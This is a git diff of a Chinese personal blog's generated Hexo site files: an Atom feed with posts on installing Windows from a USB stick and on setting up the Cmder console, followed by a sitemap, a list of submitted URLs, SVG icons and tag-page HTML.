如果使用MSDN下载,那么建议使用支持ed2k协议的下载工具(例如迅雷,但不推荐)来下载,在这里介绍我平常使用的方式:将ed2k链接丢进百度网盘的离线下载,然后创建分享,在分享链接的pan.baidu.com的baidu后面加wp变成pan.baiduwp.com,进入PanDownload可以下载得快一些(文件需小于4G,否则还是得使用百度网盘)

1.2、写入U深度

插入U盘,勾上支持UEFI启动(现在的电脑应该都支持),点击开始制作。(当然你可以选择高级设置设定自己的UI)

制作完后可以试试模拟启动,看看是否制作成功了

1.3、解压Windows镜像

将Windows镜像解压,丢在U盘的根目录或建立文件夹丢在文件夹内(不要直接把镜像丢在ISO文件夹里面,等会会告诉你为什么)

1.4、从U盘启动

重启你的电脑,打开启动菜单(按什么键请问百度),选择你的U盘,如果发现有两个同样名字的U盘,优先选择前面有UEFI字样的,如果UEFI无法启动再选择没有UEFI的。进入PE,可以在导航栏右边的彩屏图标右键调整分辨率(不是必要的),关闭弹出来的装机工具(不推荐使用它,因为使用它装系统后第一次开机会有很多奇奇怪怪的软件。这也是不推荐把ISO直接丢在U盘的ISO文件夹里的原因)

1.5、用WindowsNTSetup安装系统

在桌面上找到WindowsNTSetup,或者在所有应用里面找到它,打开它。

Windows安装源请选择.\sources\install.wim或者.\sources\install.esd,引导驱动器选择你想要安装Windows的盘符(对单系统而言),安装驱动器选择你要安装Windows的盘符。

下面的版本选项选择你需要的版本,优化调整根据自己的需要调整。下面是我一般会选择的东西

调整完以后点开始安装即可!

1.6、安装完成

安装完成后,电脑将自动重启,请移除你的U盘,等待系统启动,并且根据提示设置你的电脑!

2.2、使用软碟通写入镜像

打开软碟通(以管理员身份运行),将你的Windows镜像拖入右边上面的框里面并双击打开(如果弹出提示请点“是”)

在上面的导航栏中选择启动–>写入硬盘映像,如果弹出UAC提示请点击是,就会出现写入页面(如下图)

点击写入,注意:此操作会清除你U盘的所有数据,包括所有分区!!!一旦你明白注意事项,点“是”就可以写入了

等待写入完成,重启电脑进入BOOT Menu,从U盘启动(UEFI优先)

2.3、安装Windows

根据提示安装,如果提示说无法安装,请点击下面的详细信息,根据内容百度解决,这里我提供最常见的一种情况

提示:Windows 无法安装到这个磁盘。选中的磁盘具有MBR分区表。在 EFI 系统上,Windows 只能安装到 GPT 磁盘。

方法:利用DiskGenius或者傲梅分区助手,将硬盘转换为GUID格式即可

安装完后,系统会自动重启,请移除你的U盘!

2.4、安装完成

系统已经安装完成,请根据系统提示配置你的电脑!

下次有谁再问我怎么装系统,或者有人问你怎么装系统,请把这篇文章给他/她看!

如果有什么问题,可以在评论区内告诉我,推荐使用Github账号登录,这样我可以快速找到你!
封面原图出处

]]>
+ + + + + Software + + + + + + + Software + + + +
+ + + + + Cmd的互替软件,让Cmder来帮助你更好地使用控制台! + + /posts/cmder/ + +

Cmder

问题:什么是Cmd?

命令提示符是在操作系统中,提示进行命令输入的一种工作提示符。在不同的操作系统环境下,命令提示符各不相同。在windows环境下,命令行程序为cmd.exe,是一个32位的命令行程序,微软Windows系统基于Windows上的命令解释程序,类似于微软的DOS操作系统。 ——来自 百度百科

为什么要用Cmder来替换Cmd呢?

1、Cmd有的时候复制粘贴很麻烦,Cmder则不会

2、Cmder可以分屏多开窗口,Cmd不行

3、Cmder可以设置窗口颜色,字体大小(更加美观)

4、Cmder有很多快捷键和谷歌浏览器操作类似(反正就是很多功能)

下载地址(官网):

Cmder官网

官网下载有mini版和完整版,我建议完整版(虽然我也不知道两个之间有什么区别,或许是少了点命令?)

一点小技巧:

你可以在系统属性里面配置环境变量,把cmder的路径加入到path里面去

然后以管理员身份打开cmd,输入

1
2
# 设置任意地方鼠标右键启动Cmder
Cmder.exe /REGISTER ALL

然后你就可以像我一样在任意地方打开cmder了

cmder-here

快捷键大全(官网有):

1
2
3
4
5
6
7
8
9
10
11
12
13
Tab       自动路径补全
Ctrl+T 建立新页签
Ctrl+W 关闭页签
Ctrl+Tab 切换页签
Alt+F4 关闭所有页签
Alt+Shift+1 开启cmd.exe
Alt+Shift+2 开启powershell.exe
Alt+Shift+3 开启powershell.exe (系统管理员权限)
Ctrl+1 快速切换到第1个页签
Ctrl+n 快速切换到第n个页签(n无上限)
Alt + enter 切换到全屏状态
Ctrl+r 历史命令搜索
Win+Alt+P 开启工具选项视窗
TIPS:如果中文不能正常显示,可以在设置的环境选项(Settings–>Startup–>Eniviroment)内加入以下语句
1
set LANG=zh_CN.UTF8 

cmder-cn

题外话

1、我没有收广告费,单纯是因为它很好用

2、Win10还是比较推荐Powershell的,但是win10以下powershell(即使内置)是没有在环境变量中的,所以win10以下我还是会用cmder


后期更新:

Powershell真香!


2020.3.19 更新

应评论区用户要求,我就来讲讲小白式玩法~

第一点:将cmder加入PATH变量

以Win10为例(Win10以下的path变量管理界面不一样,但是道理还是一样的)

我们首先右键我的电脑(此电脑),然后选择属性

在此电脑的属性页面中选择高级系统设置

在打开来的窗口选择环境变量

然后在上面的用户变量栏里面选择path然后点击编辑

在右侧点击新建,然后在框框里面先随便输入点内容(因为如果不输入直接点浏览的话会覆盖掉上面的数据)

接着选择浏览,选到你的cmder存放的目录,我这里是在G:\cmder,所以直接选择到这里就好了

点击确定,在左边的环境变量栏里面就会有刚刚选择的目录路径了

接着打开运行,你也可以通过Win+R来打开,在里面输入cmder然后确定

如果你能正常打开cmder就说明你设置成功啦!

上面说的把cmder加入到右键菜单,在电脑左下角的Win标那里右键,选择命令提示符(管理员)或者Windows Powershell(管理员)

把上面的那一串命令打进去就可以了。

你是不是完成配置了呢?那就开始你的cmder之旅吧!

]]>
+ + + + + Software + + + + + + + Software + + + +
+ + + + +
diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 0000000000..8cf5a0fccf --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,1834 @@ + + + + + https://bili33.top/link/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/steamgames/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/tags/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/unlock-music/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Valine-Magic/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Valorant-Shop-with-API/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Why-my-sudo-is-so-slow/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Windows-Setup/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Windows10-Beautify/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/biliRoaming/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/butterfly-customize/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/cmder/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/diary1/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/diary10/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/diary2/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/diary3/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/diary4/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/diary5/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/diary6/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/diary7/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/jsDelivr-Usage/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/lanqiao-2022-province/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/srs/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/vercel-reverse-proxy/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/hexo-deploy-guide/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/diary9/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/diary8/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/bangumis/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/categories/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch1/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch2/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch3/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch4/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch5/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch6/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch7/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch8/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch9/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Hitokoto-Spider/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/ID-History/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/INVAXION-Unlock-Log/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Install-apk-on-HUAWEI-Watch-Pro-3/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Install-black-synology-NAS-on-previous-PC/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/MATLAB20211125/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/MATLAB20211126/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/MCDR-Mirror-Server-Usage/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/MCDR-Usage/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/MHYY-AutoCheckin-Manual/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Make-Synology-NAS-to-BT-Downloader/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Making-GUI-with-PyQt5/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Migrate-jsdelivr-mirror-to-Gcore/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Move-your-wsa-data/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/My-Office365-is-Down/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Netease-Comment-Spider/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/NeteaseCloudGameFree/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/NeteaseMusicDownload/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Office365-Renew-Project/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Office365/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Pixiv-Nginx/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Pycharm-Unlimited-Evaluate/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Raspberry-4B-Log/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Stable-diffusion-webui-discovery/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Steam-Artwork/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/SteamAutoQueue-Manual/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Teamspeak-Server/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Ticwatch-pro-3-experience/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Unblock163Music/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Update-Python-on-my-server/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Use-telegram-with-pagermaid/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Valine-Admin/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Valine-Customize/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/301Redirect/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/API-FLASK/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/BaiduNetDisk-Limit-Break/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CSGO-Anti-LowViolence/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CSGO-Server/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-20220619/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-20220529/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-20220826-wangdingcup-qinglong/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-1/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-2/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-3/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-4/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-5/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-6/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-7/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CloudFlare-Workers-Section1/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/CloudFlare-Workers/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Cloudflare-Workers-Section2/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Custom-Wechat-Pusher/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Deploy-biliroaming-go-server-with-flyio/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Deploy-biliroaming-typescript-server-with-vercel/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Enchance-my-Surface-Pro-5/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/FODI/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Fight-against-COVID19/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Github-Basic/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/posts/Full-use-of-replit/ + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/5AM-Onedrive-Guide/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/666/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/666/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/About/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/Dynamics/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/Gallery/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/Music/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/Gallery/Chemistry-Experiments/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/Gallery/Elaina/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/Gallery/HK/index.html + + 2023-05-30 + + monthly + 0.6 + + + + https://bili33.top/Gallery/SCARLET-NEXUS/index.html + + 2023-05-30 + + monthly + 0.6 + + + + + https://bili33.top/ + 2023-05-30 + daily + 1.0 + + + + + https://bili33.top/tags/diary/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Tech/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/SEO/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Optimize/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Webmaster/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Python/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Flask/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/API/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Host/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Software/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Baidu/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/BaiduNetdisk/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Aria2/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Games/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/CSGO/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/AntiLowViolence/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/PerfectWorld/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/GameServer/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/CTF/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Web/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/SSRF/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Crypto/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Morse/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Hash/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Sec/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/HID/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/CobaltStrike/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Powershell/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Virus/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Trojan/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/WIFI/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/aircrack/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/msfconsole/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/msfvenom/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/apk/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/raspberry/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/reverse/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/decompile/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Cloudflare/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/JSProxy/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Notification/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/mail/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/railway/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/message/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/wechat/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/flyio/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/biliRoaming/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Surface/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/FydeOS/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Windows/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Linux/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Ubuntu/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/linux-surface/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Onedrive/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/FODI/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Diary/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/COVID19/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/experience/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Github/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Noob/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Coding/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/datatype/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Stack/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Class/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Queue/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/String/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Dynamic/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Regedit/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Save/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Game/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Smart-Watch/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/HUAWEI-Watch/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Synology/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/NAS/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/MATLAB/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Tutorial/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Script/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/BT/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Download/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Gcore/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/CDN/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/jsdelivr/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/hardlink/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Spider/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Netease/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Office365/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/IoT/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Raspberry/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Steam/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Customize/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Teamspeak/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Ticwatch/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/adb/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%BF%90%E7%BB%B4/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/%E6%9B%B4%E6%96%B0Python/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/%E7%BC%96%E8%AF%91/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Valine/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Serverless/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/meme/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/emoji/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Valorant/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Cloud-Function/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Theme/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Warframe/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/live/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/stream/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Proxy/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Vercel/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Hexo/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Github-Pages/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/Action/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/tags/school/ + 2023-05-30 + weekly + 0.2 + + + + + + https://bili33.top/categories/diary/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/categories/Tech/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/categories/Software/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/categories/Games/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/categories/CTF/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/categories/Diary/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/categories/Coding/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/categories/MATLAB/ + 2023-05-30 + weekly + 0.2 + + + + https://bili33.top/categories/IoT/ + 2023-05-30 + weekly + 0.2 + + + diff --git a/steamgames/index.html b/steamgames/index.html new file mode 100644 index 0000000000..6e975ba43a --- /dev/null +++ b/steamgames/index.html @@ -0,0 +1,604 @@ +Steam游戏库 | GamerNoTitle + + + + + + + + + + +
+

今天G胖又赚了多少?

+
+ + +
+
+ +
+ top + prev + 2 / 3 + next + end +
+
+

Comment
\ No newline at end of file diff --git a/submit_urls.txt b/submit_urls.txt new file mode 100644 index 0000000000..26a0e7475f --- /dev/null +++ b/submit_urls.txt @@ -0,0 +1,50 @@ +https://bili33.top/posts/Valine-Magic/ +https://bili33.top/posts/Valorant-Shop-with-API/ +https://bili33.top/posts/Why-my-sudo-is-so-slow/ +https://bili33.top/posts/Windows-Setup/ +https://bili33.top/posts/Windows10-Beautify/ +https://bili33.top/posts/biliRoaming/ +https://bili33.top/posts/butterfly-customize/ +https://bili33.top/posts/cmder/ +https://bili33.top/posts/diary1/ +https://bili33.top/posts/diary10/ +https://bili33.top/posts/diary2/ +https://bili33.top/posts/diary3/ +https://bili33.top/posts/diary4/ +https://bili33.top/posts/diary5/ +https://bili33.top/posts/diary6/ +https://bili33.top/posts/diary7/ +https://bili33.top/posts/jsDelivr-Usage/ +https://bili33.top/posts/lanqiao-2022-province/ +https://bili33.top/posts/srs/ +https://bili33.top/posts/vercel-reverse-proxy/ +https://bili33.top/posts/hexo-deploy-guide/ +https://bili33.top/posts/diary9/ +https://bili33.top/posts/diary8/ +https://bili33.top/posts/Go-for-Python-Ch1/ +https://bili33.top/posts/Go-for-Python-Ch2/ +https://bili33.top/posts/Go-for-Python-Ch3/ +https://bili33.top/posts/Go-for-Python-Ch4/ +https://bili33.top/posts/Go-for-Python-Ch5/ +https://bili33.top/posts/Go-for-Python-Ch6/ +https://bili33.top/posts/Go-for-Python-Ch7/ +https://bili33.top/posts/Go-for-Python-Ch8/ +https://bili33.top/posts/Go-for-Python-Ch9/ +https://bili33.top/posts/Hitokoto-Spider/ +https://bili33.top/posts/ID-History/ +https://bili33.top/posts/INVAXION-Unlock-Log/ +https://bili33.top/posts/Install-apk-on-HUAWEI-Watch-Pro-3/ +https://bili33.top/posts/Install-black-synology-NAS-on-previous-PC/ +https://bili33.top/posts/MATLAB20211125/ +https://bili33.top/posts/MATLAB20211126/ +https://bili33.top/posts/MCDR-Mirror-Server-Usage/ +https://bili33.top/posts/MCDR-Usage/ +https://bili33.top/posts/MHYY-AutoCheckin-Manual/ +https://bili33.top/posts/Make-Synology-NAS-to-BT-Downloader/ +https://bili33.top/posts/Making-GUI-with-PyQt5/ +https://bili33.top/posts/Migrate-jsdelivr-mirror-to-Gcore/ +https://bili33.top/posts/Move-your-wsa-data/ +https://bili33.top/posts/My-Office365-is-Down/ +https://bili33.top/posts/Netease-Comment-Spider/ +https://bili33.top/posts/NeteaseCloudGameFree/ +https://bili33.top/posts/NeteaseMusicDownload/ \ No newline at end of file diff --git a/svg/dribbble.svg b/svg/dribbble.svg new file mode 100644 index 0000000000..f3d7b71116 --- /dev/null +++ b/svg/dribbble.svg @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/svg/link.svg b/svg/link.svg new file mode 100644 index 0000000000..2e25ab65cb --- /dev/null +++ b/svg/link.svg @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/svg/linkedin.svg b/svg/linkedin.svg new file mode 100644 index 0000000000..24259c6088 --- /dev/null +++ b/svg/linkedin.svg @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/svg/logo_white.svg b/svg/logo_white.svg new file mode 100644 index 0000000000..138507d132 --- /dev/null +++ b/svg/logo_white.svg @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/tags/API/index.html b/tags/API/index.html new file mode 100644 index 0000000000..a8567e20c1 --- /dev/null +++ b/tags/API/index.html @@ -0,0 +1,285 @@ +Tag: API | GamerNoTitle + + + + + + + + + + +
利用ValorantAPI开发商店查询网站
用Python和Flask打造属于自己的API
